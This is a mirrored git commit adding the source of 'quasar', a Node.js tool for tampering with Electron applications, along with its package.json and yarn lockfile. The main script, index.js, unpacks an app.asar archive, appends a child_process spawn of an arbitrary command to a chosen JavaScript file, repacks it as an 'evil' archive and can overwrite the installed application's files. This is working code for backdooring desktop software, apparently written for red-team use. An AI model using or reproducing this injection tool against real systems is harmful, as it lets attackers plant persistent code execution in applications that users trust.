mirror of
https://github.com/mttaggart/quasar
synced 2026-06-08 16:14:21 +00:00
Add source
This commit is contained in:
@@ -0,0 +1,124 @@
|
||||
const asar = require("asar");
|
||||
const {program} = require("commander");
|
||||
const { questionInt } = require("readline-sync");
|
||||
const { copyFile, readdir, readFile, writeFile, rename, stat, mkdir } = require("node:fs/promises");
|
||||
const {copy, ensureDir} = require("fs-extra");
|
||||
const path = require("path");
|
||||
const EVIL_DIR = "evil";
|
||||
|
||||
async function retrieveAsar(asarPath) {
|
||||
console.log(`[+] Copying asar files...`);
|
||||
const localAsar = "./" + path.basename(asarPath);
|
||||
const localAsarUnpacked = localAsar + ".unpacked";
|
||||
await copy(asarPath, localAsar);
|
||||
await copy(`${asarPath}.unpacked`, localAsarUnpacked);
|
||||
}
|
||||
|
||||
async function findJS(inputFile) {
|
||||
const contents = asar.listPackage(inputFile);
|
||||
const jsFiles = contents.filter(f => (
|
||||
(f.indexOf(".js") == f.length - 3)
|
||||
&& (f.indexOf(".json") < 0 )
|
||||
&& (f.indexOf("node_modules") < 0 )
|
||||
));
|
||||
console.log("[+] Found the following JS files: ");
|
||||
for (let i=0; i <= jsFiles.length; i++) {
|
||||
console.log(`${i}: ${jsFiles[i]}`);
|
||||
}
|
||||
const patchChoice = questionInt("Which JS File shall we patch? ");
|
||||
const patchFile = jsFiles[patchChoice];
|
||||
console.log(`[+] Okay, patching ${patchFile}`);
|
||||
return patchFile;
|
||||
}
|
||||
|
||||
async function unpackedCheck(inputFile) {
|
||||
return await ensureDir(`${inputFile}.unpacked`);
|
||||
}
|
||||
|
||||
async function pack(inputFile) {
|
||||
console.log("[+] Determine excludes");
|
||||
// Analyze the unpacked file to determine what to keep out
|
||||
// of the packed archive
|
||||
const unpackedPaths = await readdir(`${inputFile}.unpacked`);
|
||||
let unpackDirs;
|
||||
if (unpackedPaths.length > 1) {
|
||||
unpackDirs = "{" + unpackedPaths.join(",") + "}";
|
||||
} else {
|
||||
unpackDirs = unpackedPaths[0];
|
||||
}
|
||||
|
||||
console.log(`[+] Excluding ${unpackDirs}`);
|
||||
console.log(`[+] Creating evil ASAR File: ${inputFile}`);
|
||||
// process.exit(-1);
|
||||
await asar.createPackageWithOptions(`.${path.sep}${EVIL_DIR}/${inputFile}.extracted`, `.${path.sep}${EVIL_DIR}/${inputFile}`, {unpackDir: unpackDirs});
|
||||
}
|
||||
|
||||
async function mutate(asarFile, jsFile, command) {
|
||||
console.log(`[+] Adding command ${command}`)
|
||||
const jsPath = `.${path.sep}${EVIL_DIR}/${asarFile}.extracted${jsFile}`;
|
||||
let jsText = await readFile(jsPath);
|
||||
jsText = jsText.toString();
|
||||
let cmd = `\nconst tagg = require("child_process");\n`
|
||||
cmd += `tagg.spawn("${command}");`
|
||||
await writeFile(jsPath, jsText + cmd);
|
||||
}
|
||||
|
||||
async function writeEvil(inputFile, newAsarPath) {
|
||||
console.log("[+] Backing Up asar assets");
|
||||
await rename(inputFile, `${inputFile}.bak`);
|
||||
await rename(`${inputFile}.unpacked`, `${inputFile}.unpacked.bak`);
|
||||
console.log("[+] Copying Evil");
|
||||
await copyFile(`.${path.sep}${EVIL_DIR}/${newAsarPath}`, inputFile);
|
||||
await copy(`.${path.sep}${EVIL_DIR}/${newAsarPath}.unpacked`, `${inputFile}.unpacked`);
|
||||
}
|
||||
|
||||
async function unpack(inputFile) {
|
||||
if (unpackedCheck(inputFile)) {
|
||||
console.log("[+] Unpacked dir exists");
|
||||
} else {
|
||||
console.log[`[!] Missing ${inputFile}.unpacked directory!`];
|
||||
process.exit(-1);
|
||||
}
|
||||
console.log("[+] Extracting ASAR");
|
||||
asar.extractAll(inputFile, `${EVIL_DIR}/${inputFile}.extracted`);
|
||||
}
|
||||
|
||||
|
||||
async function main() {
|
||||
|
||||
program.option("-i, --input <inputFile>", "asar file to mutate", "app.asar");
|
||||
program.option("-c, --command <command>", "command to insert", "calc.exe");
|
||||
program.option("-w --write ", "write evil files directly to application dir");
|
||||
|
||||
program.parse(process.argv);
|
||||
|
||||
const options = program.opts();
|
||||
|
||||
// Make evil dir
|
||||
try {
|
||||
await stat(EVIL_DIR)
|
||||
} catch (error) {
|
||||
await mkdir(EVIL_DIR);
|
||||
}
|
||||
|
||||
let newAsarPath = options.input;
|
||||
// Copy asar if it's not local to the dir
|
||||
if (path.basename(options.input) != options.input) {
|
||||
await retrieveAsar(options.input);
|
||||
newAsarPath = path.basename(options.input);
|
||||
}
|
||||
const patchFile = await findJS(newAsarPath);
|
||||
await unpack(newAsarPath);
|
||||
await mutate(newAsarPath, patchFile, options.command);
|
||||
await pack(newAsarPath);
|
||||
|
||||
if (options.write) {
|
||||
await writeEvil(options.input, newAsarPath);
|
||||
console.log("[+] Evil assets copied over. Don't forget to restore the originals!");
|
||||
} else {
|
||||
console.log("[+] Done! Move the new app.asar and app.asar.unpacked into place");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
main();
|
||||
@@ -0,0 +1,15 @@
|
||||
{
|
||||
"name": "quasar",
|
||||
"version": "0.1.0",
|
||||
"description": "ASAR manipulation made easy",
|
||||
"main": "index.js",
|
||||
"repository": "git@github.com:mttaggart/quasar.git",
|
||||
"author": "Michael Taggart <mtaggart@taggart-tech.com>",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"asar": "^3.2.0",
|
||||
"commander": "^9.4.0",
|
||||
"fs-extra": "^10.1.0",
|
||||
"readline-sync": "^1.4.10"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
"@types/glob@^7.1.1":
|
||||
version "7.2.0"
|
||||
resolved "https://registry.yarnpkg.com/@types/glob/-/glob-7.2.0.tgz#bc1b5bf3aa92f25bd5dd39f35c57361bdce5b2eb"
|
||||
integrity sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==
|
||||
dependencies:
|
||||
"@types/minimatch" "*"
|
||||
"@types/node" "*"
|
||||
|
||||
"@types/minimatch@*":
|
||||
version "5.1.2"
|
||||
resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-5.1.2.tgz#07508b45797cb81ec3f273011b054cd0755eddca"
|
||||
integrity sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==
|
||||
|
||||
"@types/node@*":
|
||||
version "18.7.15"
|
||||
resolved "https://registry.yarnpkg.com/@types/node/-/node-18.7.15.tgz#20ae1ec80c57ee844b469f968a1cd511d4088b29"
|
||||
integrity sha512-XnjpaI8Bgc3eBag2Aw4t2Uj/49lLBSStHWfqKvIuXD7FIrZyMLWp8KuAFHAqxMZYTF9l08N1ctUn9YNybZJVmQ==
|
||||
|
||||
asar@^3.2.0:
|
||||
version "3.2.0"
|
||||
resolved "https://registry.yarnpkg.com/asar/-/asar-3.2.0.tgz#e6edb5edd6f627ebef04db62f771c61bea9c1221"
|
||||
integrity sha512-COdw2ZQvKdFGFxXwX3oYh2/sOsJWJegrdJCGxnN4MZ7IULgRBp9P6665aqj9z1v9VwP4oP1hRBojRDQ//IGgAg==
|
||||
dependencies:
|
||||
chromium-pickle-js "^0.2.0"
|
||||
commander "^5.0.0"
|
||||
glob "^7.1.6"
|
||||
minimatch "^3.0.4"
|
||||
optionalDependencies:
|
||||
"@types/glob" "^7.1.1"
|
||||
|
||||
balanced-match@^1.0.0:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
|
||||
integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
|
||||
|
||||
brace-expansion@^1.1.7:
|
||||
version "1.1.11"
|
||||
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
|
||||
integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
|
||||
dependencies:
|
||||
balanced-match "^1.0.0"
|
||||
concat-map "0.0.1"
|
||||
|
||||
chromium-pickle-js@^0.2.0:
|
||||
version "0.2.0"
|
||||
resolved "https://registry.yarnpkg.com/chromium-pickle-js/-/chromium-pickle-js-0.2.0.tgz#04a106672c18b085ab774d983dfa3ea138f22205"
|
||||
integrity sha512-1R5Fho+jBq0DDydt+/vHWj5KJNJCKdARKOCwZUen84I5BreWoLqRLANH1U87eJy1tiASPtMnGqJJq0ZsLoRPOw==
|
||||
|
||||
commander@^5.0.0:
|
||||
version "5.1.0"
|
||||
resolved "https://registry.yarnpkg.com/commander/-/commander-5.1.0.tgz#46abbd1652f8e059bddaef99bbdcb2ad9cf179ae"
|
||||
integrity sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==
|
||||
|
||||
commander@^9.4.0:
|
||||
version "9.4.0"
|
||||
resolved "https://registry.yarnpkg.com/commander/-/commander-9.4.0.tgz#bc4a40918fefe52e22450c111ecd6b7acce6f11c"
|
||||
integrity sha512-sRPT+umqkz90UA8M1yqYfnHlZA7fF6nSphDtxeywPZ49ysjxDQybzk13CL+mXekDRG92skbcqCLVovuCusNmFw==
|
||||
|
||||
concat-map@0.0.1:
|
||||
version "0.0.1"
|
||||
resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
|
||||
integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
|
||||
|
||||
fs-extra@^10.1.0:
|
||||
version "10.1.0"
|
||||
resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-10.1.0.tgz#02873cfbc4084dde127eaa5f9905eef2325d1abf"
|
||||
integrity sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==
|
||||
dependencies:
|
||||
graceful-fs "^4.2.0"
|
||||
jsonfile "^6.0.1"
|
||||
universalify "^2.0.0"
|
||||
|
||||
fs.realpath@^1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
|
||||
integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==
|
||||
|
||||
glob@^7.1.6:
|
||||
version "7.2.3"
|
||||
resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
|
||||
integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
|
||||
dependencies:
|
||||
fs.realpath "^1.0.0"
|
||||
inflight "^1.0.4"
|
||||
inherits "2"
|
||||
minimatch "^3.1.1"
|
||||
once "^1.3.0"
|
||||
path-is-absolute "^1.0.0"
|
||||
|
||||
graceful-fs@^4.1.6, graceful-fs@^4.2.0:
|
||||
version "4.2.10"
|
||||
resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.10.tgz#147d3a006da4ca3ce14728c7aefc287c367d7a6c"
|
||||
integrity sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==
|
||||
|
||||
inflight@^1.0.4:
|
||||
version "1.0.6"
|
||||
resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
|
||||
integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
|
||||
dependencies:
|
||||
once "^1.3.0"
|
||||
wrappy "1"
|
||||
|
||||
inherits@2:
|
||||
version "2.0.4"
|
||||
resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
|
||||
integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
|
||||
|
||||
jsonfile@^6.0.1:
|
||||
version "6.1.0"
|
||||
resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae"
|
||||
integrity sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==
|
||||
dependencies:
|
||||
universalify "^2.0.0"
|
||||
optionalDependencies:
|
||||
graceful-fs "^4.1.6"
|
||||
|
||||
minimatch@^3.0.4, minimatch@^3.1.1:
|
||||
version "3.1.2"
|
||||
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
|
||||
integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
|
||||
dependencies:
|
||||
brace-expansion "^1.1.7"
|
||||
|
||||
once@^1.3.0:
|
||||
version "1.4.0"
|
||||
resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
|
||||
integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==
|
||||
dependencies:
|
||||
wrappy "1"
|
||||
|
||||
path-is-absolute@^1.0.0:
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
|
||||
integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==
|
||||
|
||||
readline-sync@^1.4.10:
|
||||
version "1.4.10"
|
||||
resolved "https://registry.yarnpkg.com/readline-sync/-/readline-sync-1.4.10.tgz#41df7fbb4b6312d673011594145705bf56d8873b"
|
||||
integrity sha512-gNva8/6UAe8QYepIQH/jQ2qn91Qj0B9sYjMBBs3QOB8F2CXcKgLxQaJRP76sWVRQt+QU+8fAkCbCvjjMFu7Ycw==
|
||||
|
||||
universalify@^2.0.0:
|
||||
version "2.0.0"
|
||||
resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.0.tgz#75a4984efedc4b08975c5aeb73f530d02df25717"
|
||||
integrity sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==
|
||||
|
||||
wrappy@1:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
|
||||
integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
|
||||
Reference in New Issue
Block a user